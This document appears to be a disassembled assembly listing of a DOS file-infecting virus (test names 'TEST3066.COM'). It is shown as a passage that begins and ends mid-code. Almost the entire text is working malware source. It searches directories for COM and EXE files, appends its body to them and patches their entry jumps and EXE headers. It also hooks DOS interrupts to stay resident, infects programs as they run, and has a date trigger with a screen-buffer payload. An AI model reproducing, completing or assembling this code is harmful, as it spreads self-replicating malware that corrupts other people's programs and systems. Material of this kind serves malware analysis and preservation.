'!This program on', 0Dh, 0Ah, '$' + + + + db 27 dup (0) + db 50h, 4Ch, 49h, 43h + db 60 dup (0) + db 01h, 3Fh + db 7 dup (3Fh) + db 43h, 4Fh, 4Dh, 20h, 00h + db 7 dup (0) + db 20h, 96h, 66h,0D7h, 12h, 4Ch + db 00h, 00h, 00h + db 'TSTJ3066.COM' + + db 00h, 00h, 01h, 3Fh + db 10 dup (3Fh) + db 10h, 05h + db 7 dup (0) + db 20h,0E9h, 11h,0B5h, 12h,0F6h + db 48h, 02h, 00h + db 'CAT-TWO.ARC' + + db 00h, 00h, 00h, 00h,0BCh, 0Eh + db 00h, 00h, 20h, 00h, 72h, 49h + db 73h, 12h,0EBh, 04h,0DDh, 0Ch + db 00h, 00h, 00h, 51h, 59h, 8Bh + db 0Fh, 20h, 00h + db 56h, 47h, 31h +loc_5: ; xref 6FB8:0100 + jmp short loc_6 ; (0247) + db 0F5h, 0Bh +loc_6: ; xref 6FB8:0243 + call sub_17 ; (08BB) + call sub_15 ; (0875) + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov ds:data_22e[si],si ; (0000:0151=0EAh) + add word ptr ds:data_22e[si],884h ; (0000:0151=0EAh) + mov ds:data_23e[si],cs ; (0000:0153=0A6F0h) + mov ds:data_17e[si],al ; (0000:00E3=1) + call sub_10 ; (076E) + mov dl,ds:data_94e[di] ; (969B:00E2=0) + mov ax,ds + push cs + pop ds + jnz loc_8 ; Jump if not zero + mov data_56[si],984h ; (6FB8:0151=4D10h) + mov data_57[si],ax ; (6FB8:0153=6FB8h) + cmp dl,0FFh + je loc_8 ; Jump if equal + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) +loc_8: ; xref 6FB8:026E, 027D + mov byte ptr ds:[872h][si],80h ; (6FB8:0872=0FFh) + mov word ptr ds:data_48e[si],0 ; (6FB8:00EF=0) + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + cmp cx,7C4h + jge loc_9 ; Jump if > or = + jmp short loc_12 ; (02C2) + db 0BDh, 09h,0BCh, 0Eh, 00h +loc_9: ; xref 6FB8:0296 + jg loc_10 ; Jump if > + cmp dh,0Ch + jl loc_12 ; Jump if < + cmp dl,5 + jl loc_12 ; Jump if < + cmp dl,1Ch + jl loc_11 ; Jump if < +loc_10: ; xref 6FB8:029F + mov word ptr ds:[877h][si],0FFDCh ; (6FB8:0877=8EC0h) + mov byte ptr ds:[872h][si],88h ; (6FB8:0872=0FFh) +loc_11: ; xref 6FB8:02AE + cmp byte ptr [si+4],0F8h + nop ;*ASM fixup - displacement + jae loc_13 ; Jump if above or = +loc_12: ; xref 6FB8:0298, 02A4, 02A9, 0356 + mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0) + jmp loc_30 ; (0460) + cmp byte ptr [si+4],0F8h + nop ;*ASM fixup - displacement + jae loc_13 ; Jump if above or = + or byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh) +loc_13: ; xref 6FB8:02C0, 02D0 + mov byte ptr ds:data_38e[si],0 ; (6FB8:00DF=0) + mov dx,data_56[si] ; (6FB8:0151=4D10h) + mov ds,data_57[si] ; (6FB8:0153=6FB8h) + mov ax,4300h + call sub_1 ; (0436) + jc loc_14 ; Jump if carry Set + mov cs:data_51e[si],cx ; (6FB8:00F5=0) + and cl,0FEh + mov ax,4301h + call sub_1 ; (0436) + jc loc_14 ; Jump if carry Set + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_14 ; Jump if carry Set + push cs + pop ds + mov ds:data_48e[si],ax ; (6FB8:00EF=0) + mov bx,ax + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ds:data_49e[si],cx ; (6FB8:00F1=0) + mov ds:data_50e[si],dx ; (6FB8:00F3=0) + dec byte ptr [si+4] + nop ;*ASM fixup - displacement + mov dx,word ptr ds:[880h][si] ; (6FB8:0880=687h) + mov cx,word ptr ds:[882h][si] ; (6FB8:0882=90h) + add dx,4 + nop ;*ASM fixup - sign extn byte + adc cx,0 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_14: ; xref 6FB8:02EA, 02FA, 0301 + push cs + pop ds + test byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh) + jz loc_15 ; Jump if zero + call sub_3 ; (051F) + jmp loc_30 ; (0460) +loc_15: ; xref 6FB8:0337 + xor dl,dl ; Zero register + mov ah,47h ; 'G' + push si + add si,46h + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + pop si + cmp byte ptr ds:data_47e[si],0 ; (6FB8:00EE=0) + jne loc_16 ; Jump if not equal + call sub_2 ; (0444) + jnc loc_17 ; Jump if carry=0 +loc_16: ; xref 6FB8:034F + jmp loc_12 ; (02C2) +loc_17: ; xref 6FB8:0354, 0433 + mov dx,si + add dx,data_36e ; (6FB8:0087=0) + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov word ptr [si+5],2E2Ah + mov word ptr [si+7],4F43h + mov word ptr [si+9],4Dh + mov ah,4Eh ; 'N' + mov dx,si + add dx,5 +loc_18: ; xref 6FB8:03A7 + mov cx,20h + call sub_1 ; (0436) + jc loc_21 ; Jump if carry Set + mov dx,si + add dx,0A5h + mov data_58[si],0 ; (6FB8:0155=0) + call sub_4 ; (0535) + jc loc_20 ; Jump if carry Set + call sub_3 ; (051F) +loc_19: ; xref 6FB8:039C + jmp loc_29 ; (0454) +loc_20: ; xref 6FB8:038F + cmp byte ptr ds:data_20e[si],0 ; (0000:00EE=23h) + jne loc_19 ; Jump if not equal + cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh) + jne loc_25 ; Jump if not equal + mov ah,4Fh ; 'O' + jmp short loc_18 ; (0379) +loc_21: ; xref 6FB8:037F + mov word ptr [si+7],5845h + mov word ptr [si+9],45h + mov ah,4Eh ; 'N' + mov dx,si + add dx,5 +loc_22: ; xref 6FB8:03E9 + mov cx,20h + call sub_1 ; (0436) + jc loc_25 ; Jump if carry Set + mov dx,si + add dx,0A5h + mov data_58[si],0 ; (6FB8:0155=0) + call sub_4 ; (0535) + jc loc_24 ; Jump if carry Set + call sub_3 ; (051F) +loc_23: ; xref 6FB8:03DE + jmp short loc_29 ; (0454) + db 90h +loc_24: ; xref 6FB8:03D0 + cmp byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0) + jne loc_23 ; Jump if not equal + cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh) + jne loc_25 ; Jump if not equal + mov ah,4Fh ; 'O' + jmp short loc_22 ; (03BA) +loc_25: ; xref 6FB8:03A3, 03C0, 03E5 + call sub_2 ; (0444) + mov dx,si + add dx,data_13e ; (0000:00B3=1) + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +loc_26: ; xref 6FB8:0424 + mov ah,4Fh ; 'O' + mov cx,10h + cmp byte ptr ds:data_16e[si],0 ; (0000:00DF=1) + jne loc_27 ; Jump if not equal + mov byte ptr ds:data_16e[si],1 ; (0000:00DF=1) + mov word ptr [si+5],2E2Ah + mov word ptr [si+7],2Ah + mov ah,4Eh ; 'N' + mov dx,si + add dx,5 +loc_27: ; xref 6FB8:0402 + call sub_1 ; (0436) + jc loc_29 ; Jump if carry Set + test byte ptr ds:data_14e[si],10h ; (0000:00C8=0DAh) + jz loc_26 ; Jump if zero + mov dx,si + add dx,data_15e ; (0000:00D1=10h) + mov ah,3Bh ; ';' + call sub_1 ; (0436) + jc loc_29 ; Jump if carry Set + jmp loc_17 ; (0359) + +3066 endp + +; +; SUBROUTINE +; +; Called from: 6FB8:02E7, 02F7, 037C, 03BD, 041A, 042E, 0450 +; 0571, 0582, 058A +; + +sub_1 proc near + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jc loc_ret_28 ; Jump if carry Set + test byte ptr cs:data_47e[si],0FFh ; (6FB8:00EE=0) + jz loc_ret_28 ; Jump if zero + stc ; Set carry flag + +loc_ret_28: ; xref 6FB8:0438, 0440 + retn +sub_1 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0351, 03EB, 0454 +; + +sub_2 proc near + mov word ptr [si+5],5Ch + mov dx,si + add dx,5 + mov ah,3Bh ; ';' + call sub_1 ; (0436) + retn +sub_2 endp + +loc_29: ; xref 6FB8:0394, 03D5, 041D, 0431 + call sub_2 ; (0444) + mov dx,si + add dx,46h + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx +loc_30: ; xref 6FB8:02C8, 033C + mov bx,ds:data_48e[si] ; (6FB8:00EF=0) + or bx,bx ; Zero ? + jz loc_32 ; Jump if zero + mov cx,ds:data_51e[si] ; (6FB8:00F5=0) + mov dx,data_56[si] ; (6FB8:0151=4D10h) + mov ds,data_57[si] ; (6FB8:0153=6FB8h) + cmp cx,20h + je loc_31 ; Jump if equal + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_31: ; xref 6FB8:0477 + push cs + pop ds + mov cx,ds:data_49e[si] ; (6FB8:00F1=0) + mov dx,ds:data_50e[si] ; (6FB8:00F3=0) + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_32: ; xref 6FB8:0466 + mov dl,ds:data_41e[si] ; (6FB8:00E3=0) + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + call sub_16 ; (089A) + pop ax + mov ds:data_39e[si],ax ; (6FB8:00E0=0) + cmp byte ptr [si+3],0FFh + je loc_33 ; Jump if equal + add ax,10h + add [si+2],ax + pop ax + pop ds +;* jmp dword ptr cs:[si] ;*1 entry + db 0FFh, 2Ch +loc_33: ; xref 6FB8:04A5 + call sub_10 ; (076E) + push cs + pop ds + mov ax,[si] + mov word ptr ds:[100h],ax ; (6FB8:0100=40E9h) + mov al,[si+2] + mov byte ptr ds:[102h],al ; (6FB8:0102=1) + jz loc_34 ; Jump if zero + mov bx,ds + add bx,1D0h + mov es,bx + mov di,si + mov dx,si + mov cx,0BFAh + call sub_20 ; (0D32) + mov cx,dx + mov si,dx + dec si + mov di,si + std ; Set direction flag + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push ds + pop es + mov di,data_93e ; (7188:0100=0) + mov ds,bx + mov si,dx + mov cx,0BFAh + call sub_20 ; (0D32) + mov si,100h + push cs + pop ds + call sub_13 ; (07CD) + mov dx,1D0h +loc_34: ; xref 6FB8:04C2 + mov di,cs + add di,dx + mov word ptr [si+5],100h + mov [si+7],di + pop ax + pop ds + mov ds,di + mov es,di + mov ss,di + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor bp,bp ; Zero register +;* jmp dword ptr cs:[si+5] ;*1 entry + db 0FFh, 6Ch, 05h +loc_35: ; xref 6FB8:0574, 0585, 058D + mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0) + retn + +; +; SUBROUTINE +; +; Called from: 6FB8:0339, 0391, 03D2 +; + +sub_3 proc near + mov bx,ds:data_48e[si] ; (6FB8:00EF=0) + or bx,bx ; Zero ? + jz loc_ret_36 ; Jump if zero + mov dx,si + add dx,data_34e ; (6FB8:0004=0) + nop ;*ASM fixup - sign extn byte + mov cx,1 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + +loc_ret_36: ; xref 6FB8:0525 + retn +sub_3 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:038C, 03CD +; + +sub_4 proc near + push dx + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + add al,41h ; 'A' + mov ah,3Ah ; ':' + mov word ptr ds:[884h][si],ax ; (6FB8:0884=8489h) + mov byte ptr ds:[886h][si],5Ch ; (6FB8:0886=0EAh) '\' + push si + add si,offset ds:[887h] ; (6FB8:0887=0) + mov ah,47h ; 'G' + mov di,si + xor dl,dl ; Zero register + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + pop si + dec di +loc_37: ; xref 6FB8:055B + inc di + mov al,[di] + or al,al ; Zero ? + jnz loc_37 ; Jump if not zero + pop bx + mov byte ptr [di],5Ch ; '\' + inc di + mov dx,bx +loc_38: ; xref 6FB8:056C + mov al,[bx] + mov [di],al + inc bx + inc di + or al,al ; Zero ? + jnz loc_38 ; Jump if not zero + +; External Entry into Subroutine +; +; Called from: 6FB8:097E + +sub_5: + mov ax,4300h + call sub_1 ; (0436) + jc loc_35 ; Jump if carry Set + mov cs:data_42e[si],cx ; (6FB8:00E4=0) + and cx,0FEh + mov ax,4301h + call sub_1 ; (0436) + jc loc_35 ; Jump if carry Set + mov ax,3D02h + call sub_1 ; (0436) + jc loc_35 ; Jump if carry Set + mov bx,ax + push ds + push dx + call sub_6 ; (05BD) + pop dx + pop ds + pushf ; Push flags + mov cx,cs:data_42e[si] ; (6FB8:00E4=0) + cmp cx,20h + je loc_39 ; Jump if equal + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_39: ; xref 6FB8:05A1 + mov cx,cs:data_43e[si] ; (6FB8:00E6=0) + mov dx,cs:data_44e[si] ; (6FB8:00E8=0) + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + popf ; Pop flags + retn +sub_4 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0593 +; + +sub_6 proc near + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + push cs + pop ds + mov ds:data_43e[si],cx ; (6FB8:00E6=0) + mov ds:data_44e[si],dx ; (6FB8:00E8=0) + mov dx,si + add dx,0Dh + mov di,dx + mov ah,3Fh ; '?' + mov cx,1Ch + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + cmp word ptr [di],5A4Dh + je loc_42 ; Jump if equal + call sub_9 ; (0764) + add ax,0CF5h + jc loc_ret_40 ; Jump if carry Set + cmp byte ptr [di],0E9h + jne loc_41 ; Jump if not equal + mov dx,[di+1] + xor cx,cx ; Zero register + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,di + add dx,1Ch + mov ah,3Fh ; '?' + mov cx,3 + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + call sub_7 ; (06AB) + jnc loc_41 ; Jump if carry=0 + mov cs:data_58[si],1 ; (6FB8:0155=0) + +loc_ret_40: ; xref 6FB8:05E6 + retn +loc_41: ; xref 6FB8:05EB, 0606 + call sub_9 ; (0764) + mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h) + mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h) + push ax + mov word ptr [di+3],0FFFFh + mov cx,5 + mov ah,40h ; '@' + mov dx,di + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov dx,si + add dx,5 + mov cx,0BF5h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov byte ptr [di],0E9h + pop ax + add ax,0F7h + mov [di+1],ax + mov dx,di + mov cx,3 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + clc ; Clear carry flag + retn +loc_42: ; xref 6FB8:05DE + cmp word ptr [di+0Ch],0FFFFh + jne loc_43 ; Jump if not equal + push si + mov si,[di+14h] + mov cx,[di+16h] + mov ax,cx + mov cl,ch + xor ch,ch ; Zero register + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + add si,ax + adc cx,0 + sub si,3 + sbb cx,0 + mov ax,[di+8] + call sub_8 ; (0751) + add si,ax + adc cx,dx + mov dx,si + pop si + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,di + add dx,1Ch + mov ah,3Fh ; '?' + mov cx,3 + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + call sub_7 ; (06AB) + jnc loc_46 ; Jump if carry=0 + mov cs:data_58[si],1 ; (6FB8:0155=0) + retn + +; External Entry into Subroutine +; +; Called from: 6FB8:0603, 069F + +sub_7: + cmp word ptr [di+1Ch],4756h + jne loc_45 ; Jump if not equal + cmp byte ptr [di+1Eh],31h ; '1' + jne loc_45 ; Jump if not equal +loc_43: ; xref 6FB8:0657 + stc ; Set carry flag + +loc_ret_44: ; xref 6FB8:06E0 + retn +loc_45: ; xref 6FB8:06B0, 06B6 + clc ; Clear carry flag + retn +loc_46: ; xref 6FB8:06A2 + call sub_9 ; (0764) + mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h) + mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h) + mov cx,[di+4] + shl cx,1 ; Shift w/zeros fill + xchg ch,cl + mov bp,cx + and bp,0FF00h + xor ch,ch ; Zero register + add bp,[di+6] + adc cx,0 + sub bp,ax + sbb cx,dx + jc loc_ret_44 ; Jump if carry Set + push ax + push dx + push word ptr [di+18h] + mov byte ptr [di+18h],0FFh + mov cx,5 + mov ah,40h ; '@' + mov dx,di + add dx,14h + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + pop word ptr [di+18h] + mov dx,si + add dx,5 + mov cx,0BF5h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + pop word ptr [di+16h] + pop word ptr [di+14h] + add word ptr [di+14h],0FAh + adc word ptr [di+16h],0 + mov ax,[di+8] + call sub_8 ; (0751) + sub [di+14h],ax + sbb [di+16h],dx + mov cl,0Ch + shl word ptr [di+16h],cl ; Shift w/zeros fill + mov ax,0BFAh + add ax,[di+2] + mov [di+2],ax + and word ptr [di+2],1FFh + mov al,ah + xor ah,ah ; Zero register + shr ax,1 ; Shift w/zeros fill + add [di+4],ax + mov dx,di + mov cx,1Ch + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + clc ; Clear carry flag + retn +sub_6 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0684, 0721 +; + +sub_8 proc near + xor dx,dx ; Zero register + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + retn +sub_8 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:05E0, 060F, 06BC +; + +sub_9 proc near + xor dx,dx ; Zero register + xor cx,cx ; Zero register + mov ax,4202h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + retn +sub_9 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0263, 04B2 +; + +sub_10 proc near + xor ax,ax ; Zero register + mov ds,ax + lds di,dword ptr ds:data_11e ; (0000:009C=10BCh) Load 32 bit ptr + lds di,dword ptr [di+1] ; Load 32 bit ptr + mov ax,di + sub di,75Fh + call sub_11 ; (07AB) + jz loc_ret_47 ; Jump if zero + mov di,ax + sub di,755h + call sub_11 ; (07AB) + jz loc_ret_47 ; Jump if zero + lds di,dword ptr ds:data_27e ; (00AE:0080=4EFFh) Load 32 bit ptr + lds di,dword ptr [di+1] ; Load 32 bit ptr + mov ax,di + sub di,676h + call sub_11 ; (07AB) + jz loc_ret_47 ; Jump if zero + mov di,ax + sub di,673h + call sub_11 ; (07AB) + +loc_ret_47: ; xref 6FB8:0782, 078D, 079F + retn +sub_10 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:077F, 078A, 079C, 07A7 +; + +sub_11 proc near + xor dx,dx ; Zero register + cmp word ptr [di],4756h + jne loc_48 ; Jump if not equal + cmp byte ptr [di+2],31h ; '1' + je loc_49 ; Jump if equal +loc_48: ; xref 6FB8:07B1 + inc dx +loc_49: ; xref 6FB8:07B7 + sub di,0F7h + or dx,dx ; Zero ? + retn +sub_11 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:07DE, 07E4, 07EA, 07F0, 0864, 086A, 0870 +; + +sub_12 proc near + mov al,0EAh + stosb ; Store al to es:[di] + mov ax,cx + add ax,si + stosw ; Store ax to es:[di] + mov ax,cs + stosw ; Store ax to es:[di] + +loc_ret_50: ; xref 6FB8:07CF + retn +sub_12 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:04F4 +; + +sub_13 proc near + or dx,dx ; Zero ? + jz loc_ret_50 ; Jump if zero + push ds + push es + mov es,ds:data_39e[si] ; (6FB8:00E0=0) + mov di,data_46e ; (6FB8:00EC=0) + cld ; Clear direction + mov cx,9A8h + call sub_12 ; (07C1) + mov cx,76Ah + call sub_12 ; (07C1) + mov cx,7BEh + call sub_12 ; (07C1) + mov cx,84Ch + call sub_12 ; (07C1) + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ax,0ECh + xchg ax,ds:data_3e ; (0000:0070=0FF53h) + mov word ptr cs:[0A88h][si],ax ; (6FB8:0A88=49A0h) + mov ax,es + xchg ax,ds:data_4e ; (0000:0072=0F000h) + mov word ptr cs:[0A8Ah][si],ax ; (6FB8:0A8A=0B904h) + mov ax,0F1h + xchg ax,ds:data_5e ; (0000:0080=1094h) + mov word ptr cs:[76Eh][si],ax ; (6FB8:076E=0C033h) + mov ax,es + xchg ax,ds:data_6e ; (0000:0082=123h) + mov word ptr cs:[770h][si],ax ; (6FB8:0770=0D88Eh) + mov ax,0F6h + xchg ax,ds:data_7e ; (0000:0084=109Eh) + mov word ptr cs:[7DCh][si],ax ; (6FB8:07DC=9A8h) + mov ax,es + xchg ax,ds:data_8e ; (0000:0086=123h) + mov word ptr cs:[7DEh][si],ax ; (6FB8:07DE=0E0E8h) + mov ax,0FBh + xchg ax,ds:data_11e ; (0000:009C=10BCh) + mov word ptr cs:[857h][si],ax ; (6FB8:0857=6C3h) + mov ax,es + xchg ax,word ptr ds:data_11e+2 ; (0000:009E=123h) + mov word ptr cs:[859h][si],ax ; (6FB8:0859=848Eh) + pop es + pop ds + sti ; Enable interrupts + retn +sub_13 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:08F2 +; + +sub_14 proc near + push es + mov es,word ptr ds:[0E0h][si] ; (0000:00E0=10DAh) + mov di,data_21e ; (0000:00F1=10h) + cld ; Clear direction + mov cx,76Dh + call sub_12 ; (07C1) + mov cx,7E0h + call sub_12 ; (07C1) + mov cx,856h + call sub_12 ; (07C1) + pop es + retn +sub_14 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:024A, 0938 +; + +sub_15 proc near + push es + xor ax,ax ; Zero register + mov es,ax + mov ax,85Bh + add ax,si + xchg ax,es:data_9e ; (0000:0090=156h) + mov ds:data_18e[si],ax ; (0000:00EA=123h) + mov ax,cs + xchg ax,es:data_10e ; (0000:0092=44Bh) + mov ds:data_19e[si],ax ; (0000:00EC=10DAh) + pop es + mov byte ptr ds:data_20e[si],0 ; (0000:00EE=23h) + retn +sub_15 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0499, 0981 +; + +sub_16 proc near + push es + xor ax,ax ; Zero register + mov es,ax + mov ax,cs:data_45e[si] ; (6FB8:00EA=0) + mov es:data_9e,ax ; (0000:0090=156h) + mov ax,cs:data_46e[si] ; (6FB8:00EC=0) + mov es:data_10e,ax ; (0000:0092=44Bh) + pop es + retn +sub_16 endp + + jmp short loc_53 ; (08EA) + nop +;* jmp far ptr loc_2 ;*(029B:136C) + db 0EAh, 6Ch, 13h, 9Bh, 02h + +; +; SUBROUTINE +; +; Called from: 6FB8:0247, 08CB, 08EC, 0935 +; + +sub_17 proc near + pop bx + push ds + push ax + push ds + push cs + pop ds + call sub_18 ; (08C4) + +; External Entry into Subroutine +; +; Called from: 6FB8:08C1 + +sub_18: + pop si + sub si,77Bh + jmp bx ;*Register jump +loc_51: ; xref 6FB8:0918, 091D + call sub_17 ; (08BB) + push cx + mov ax,[si+7] + mov cx,es + cmp ax,cx + pop cx + pop ds + pop ax + jnz loc_52 ; Jump if not zero + push cs + pop es + cmp ah,49h ; 'I' + je loc_52 ; Jump if equal + add bx,1D0h +loc_52: ; xref 6FB8:08D9, 08E0 + pop ds + jmp short loc_55 ; (0924) + db 90h +loc_53: ; xref 6FB8:08B3, 090A, 0913 + xor dx,dx ; Zero register +loc_54: ; xref 6FB8:090F + call sub_17 ; (08BB) + push es + push dx + cli ; Disable interrupts + call sub_14 ; (0858) + sti ; Enable interrupts + pop ax + mov dx,1D0h + add dx,ax + add dx,10h + pop es + pop ds + pop ax + pop ds + mov ah,31h ; '1' + jmp short loc_55 ; (0924) + cmp ah,4Ch ; 'L' + je loc_53 ; Jump if equal + cmp ah,31h ; '1' + je loc_54 ; Jump if equal + or ah,ah ; Zero ? + jz loc_53 ; Jump if zero + cmp ah,49h ; 'I' + je loc_51 ; Jump if equal + cmp ah,4Ah ; 'J' + je loc_51 ; Jump if equal + cmp ah,4Bh ; 'K' + je loc_56 ; Jump if equal +loc_55: ; xref 6FB8:08E7, 0905, 0993 +;* jmp far ptr loc_4 ;*(0E4C:035D) + db 0EAh, 5Dh, 03h, 4Ch, 0Eh + db 80h,0FCh, 4Bh, 75h,0F6h +loc_56: ; xref 6FB8:0922 + push cx + push dx + push es + push bx + push si + push di + push bp + call sub_17 ; (08BB) + call sub_15 ; (0875) +loc_57: ; xref 6FB8:0941, 0949 + sti ; Enable interrupts + test byte ptr ds:data_26e,2 ; (0000:0972=74h) + jnz loc_57 ; Jump if not zero + cli ; Disable interrupts + test byte ptr ds:data_26e,2 ; (0000:0972=74h) + jnz loc_57 ; Jump if not zero + or byte ptr ds:data_26e,2 ; (0000:0972=74h) + pop ds + mov bx,dx + mov byte ptr cs:data_40e[si],0FFh ; (6FB8:00E2=0) + cmp byte ptr [bx+1],3Ah ; ':' + jne loc_58 ; Jump if not equal + mov al,[bx] + or al,20h ; ' ' + sub al,61h ; 'a' + mov cs:data_40e[si],al ; (6FB8:00E2=0) +loc_58: ; xref 6FB8:095D + push si + push di + push es + cld ; Clear direction + mov si,dx + push cs + pop es + mov di,offset ds:[984h] ; (6FB8:0984=2Eh) +loc_59: ; xref 6FB8:0979 + lodsb ; String [si] to al + stosb ; Store al to es:[di] + or al,al ; Zero ? + jnz loc_59 ; Jump if not zero + pop es + pop di + pop si + call sub_5 ; (056E) + call sub_16 ; (089A) + and byte ptr cs:[972h],0FDh ; (6FB8:0972=0BFh) + pop ax + pop ds + pop bp + pop di + pop si + pop bx + pop es + pop dx + pop cx + jmp short loc_55 ; (0924) +sub_17 endp + + db 83h,0C2h, 0Fh,0B1h, 04h,0D3h + db 0EAh,0E9h, 4Dh,0FFh,0EAh,0FEh + db 5Dh, 9Bh, 02h, 56h,0E8h, 00h + db 00h, 5Eh, 81h,0EEh, 5Fh, 08h + db 2Eh, 80h, 8Ch,0EEh, 00h, 01h + db 5Eh, 32h,0C0h,0CFh, 01h, 00h + db 00h, 00h, 8Ah, 00h, 00h, 00h + db 00h, 5Fh,0FEh, 00h, 00h, 00h + db 00h,0B8h, 00h, 00h, 49h, 00h + db 00h, 00h + db 'A:\TEST3066.COM' + + + db 00h, 00h, 00h, 45h, 58h, 45h + db 00h, 45h, 00h + db 143 dup (0) +loc_60: ; xref 6FB8:0AEF + push cx + push ds + push es + push si + push di + push cs + pop es + cld ; Clear direction + test al,20h ; ' ' + jz loc_63 ; Jump if zero + test al,2 + jnz loc_64 ; Jump if not zero + xor ax,ax ; Zero register + mov ds,ax + mov al,ds:data_25e ; (0000:0449=3) + mov cx,0B800h + cmp al,7 + jne loc_61 ; Jump if not equal + mov cx,0B000h + jmp short loc_62 ; (0A9F) +loc_61: ; xref 6FB8:0A90 + cmp al,2 + je loc_62 ; Jump if equal + cmp al,3 + jne loc_64 ; Jump if not equal +loc_62: ; xref 6FB8:0A95, 0A99 + mov word ptr cs:[97Ch],cx ; (6FB8:097C=5E5Fh) + or byte ptr cs:[972h],2 ; (6FB8:0972=0BFh) + mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h) + mov ds,cx + mov cx,7D0h + xor si,si ; Zero register + mov di,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh) + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + xor ax,ax ; Zero register + mov ds,ax + mov ax,0B92h + xchg ax,ds:data_1e ; (0000:0024=45h) + mov word ptr cs:[973h],ax ; (6FB8:0973=984h) + mov ax,cs + xchg ax,ds:data_2e ; (0000:0026=3D1h) + mov word ptr cs:[975h],ax ; (6FB8:0975=0AAACh) +loc_63: ; xref 6FB8:0A7E + mov cx,50h + mov ax,0F00h + mov di,offset data_54 ; (6FB8:0105=9) + rep stosw ; Rep when cx >0 Store ax to es:[di] + and byte ptr cs:[972h],7 ; (6FB8:0972=0BFh) +loc_64: ; xref 6FB8:0A82, 0A9D + pop di 